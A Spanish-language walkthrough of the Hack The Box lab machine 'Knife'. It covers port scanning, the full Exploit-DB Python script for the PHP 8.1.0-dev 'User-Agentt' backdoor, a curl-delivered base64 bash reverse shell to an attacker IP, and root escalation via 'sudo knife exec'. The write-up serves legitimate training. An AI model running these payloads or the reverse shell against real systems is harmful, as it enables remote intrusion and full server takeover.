Knife

Publicado: 13 de Mayo de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Easy

📝 Descripción

La máquina "Knife" es un sistema Linux vulnerable que ejecuta un servidor web Apache con PHP 8.1.0-dev. Esta versión específica de PHP contiene un backdoor que permite la ejecución remota de comandos mediante la manipulación de la cabecera HTTP "User-Agentt". La explotación inicial permite obtener acceso como el usuario "james", quien tiene privilegios para ejecutar el binario "knife" como root sin contraseña, lo que permite una fácil escalada de privilegios al sistema.

🚀 Metodología


graph TD
    A[Reconocimiento Inicial] --> B[Escaneo de Puertos]
    B --> C[Detección de Servicios: SSH y HTTP]
    C --> D[Enumeración Web]
    D --> E[Identificación de PHP 8.1.0-dev]
    E --> F[Explotación de Backdoor en PHP]
    F --> G{Obtener Shell}
    G -->|Opción A| H[Usar Script Python]
    G -->|Opción B| I[Usar curl + Reverse Shell]
    H --> J[Acceso como usuario james]
    I --> J
    J --> K[Enumeración de privilegios]
    K --> L[sudo -l revela knife]
    L --> M[Escalada de privilegios con knife]
    M --> N[Acceso root]
    N --> O[Captura de flag]

🔭 Reconocimiento

Ping para verificación en base a TTL

❯ ping -c2 10.10.10.242                                                                                                                                           
PING 10.10.10.242 (10.10.10.242) 56(84) bytes of data.
64 bytes from 10.10.10.242: icmp_seq=1 ttl=63 time=47.2 ms
64 bytes from 10.10.10.242: icmp_seq=2 ttl=63 time=46.6 ms

--- 10.10.10.242 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1019ms
rtt min/avg/max/mdev = 46.552/46.885/47.218/0.333 ms

💡 Nota: El TTL cercano a 64 sugiere que probablemente sea una máquina Linux.

Escaneo de puertos

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.242 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
❯ echo $ports
22,80

Enumeración de servicios

❯ nmap -sC -sV -p$ports 10.10.10.242 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-13 18:49 CEST
Nmap scan report for 10.10.10.242
Host is up (0.047s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title:  Emergent Medical Idea
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.43 seconds

🌐 Enumeración Web

80 HTTP (Apache httpd 2.4.41)

Tras enumerar la página, no se ve a priori gran cosa que se pueda hacer en ella.

🕷️Fuzzing de directorios

Tras probar a realizar fuzzing de directorios con gobuster y feroxbuster tampoco logramos añadir ningún nuevo recurso a nuestro scope:

gobuster dir -u http://10.10.10.242 -w /usr/share/seclists/Discovery/Web-Content/common.txt  -b 403,404,502 -x .php, .txt, .xml -r  
feroxbuster -u http://10.10.10.242 -r  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --scan-dir-listings -C 404

Enumerando tecnologías con wappalyzer

Al enumerar las tecnologías empleadas en el sitio web, sí que llama algo la atención, la versión de PHP que está usando el sitio web podría backdorizable:

💻 Explotación (Opción A usando exploit)

Una versión temprana de PHP, la versión PHP 8.1.0-dev fue lanzada con una puerta trasera el 28 de marzo de 2021, pero la puerta trasera fue rápidamente descubierta y eliminada. Si esta versión de PHP se ejecuta en un servidor, un atacante puede ejecutar código arbitrario mediante el envío de la cabecera User-Agentt. El siguiente exploit utiliza el backdoor para proporcionar un pseudo shell ont el host. Y existen algunos exploits para esta vulnerabilidad:

https://www.exploit-db.com/exploits/49933

#!/usr/bin/env python3
import os
import re
import requests

host = input("Enter the full host url:\n")
request = requests.Session()
response = request.get(host)

if str(response) == '<Response [200]>':
    print("\nInteractive shell is opened on", host, "\nCan't acces tty; job crontol turned off.")
    try:
        while 1:
            cmd = input("$ ")
            headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
            "User-Agentt": "zerodiumsystem('" + cmd + "');"
            }
            response = request.get(host, headers = headers, allow_redirects = False)
            current_page = response.text
            stdout = current_page.split('<!DOCTYPE html>',1)
            text = print(stdout[0])
    except KeyboardInterrupt:
        print("Exiting...")
        exit

else:
    print("\r")
    print(response)
    print("Host is not available, aborting...")
    exit

A continuación lo ejecutamos de la siguiente forma para obtener una shell interactiva con el host remoto:

python3 backexploit.py
Enter the full host url:
http://10.10.10.242

Interactive shell is opened on http://10.10.10.242 
Can't acces tty; job crontol turned off.
$ 

Un mensaje de error no indica que no se ha podido cargar la tty por lo que tenemos una consola un poco limitada.

💻 Explotación (Opción B usando reverse shell y curl)

Generamos una bash reverse shell que codificaremos en base64

echo -n 'bash  -i >& /dev/tcp/10.10.14.7/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNy80NDQ0IDA+JjE=

Posteriormente, dado que problema de esta versión es que se publicó con una puerta trasera (backdoor). Si se pone la cabecera User-Agentt: zerodiumsystem("codigo reverseshell"); obtendremos acceso remoto al host

nc -nlvp 444
curl 10.10.10.242 -H 'User-Agentt: zerodiumsystem("echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNy80NDQ0IDA+JjE= | base64 -d | bash");'
nc -nlvp 4444            
listening on [any] 4444 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.242] 34250
bash: cannot set terminal process group (947): Inappropriate ioctl for device
bash: no job control in this shell
james@knife:/$ 

Mejora de la shell

script /dev/null -c bash
Crtl +z 
(suspended)
stty raw -echo;fg
reset xterm
export TERM=xterm

En nuestro host de ataque

stty size

En el host comprometido

stty rows X columns Y

👑 Escalada de privilegios

Verificamos si james puede ejecutar algún binario como root:

$ sudo -l
Matching Defaults entries for james on knife:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife

$ 

Encontramos información sobre este binario y las posibles opciones para llevar a cabo la escalada de privilegios debido a una missconfiguration: https://gtfobins.github.io/gtfobins/knife/

james@knife:/$ sudo -l
Matching Defaults entries for james on knife:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife
james@knife:/$ sudo knife exec -E 'exec "/bin/sh"'
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# cat root.txt
033ee***********************
# 

Last updated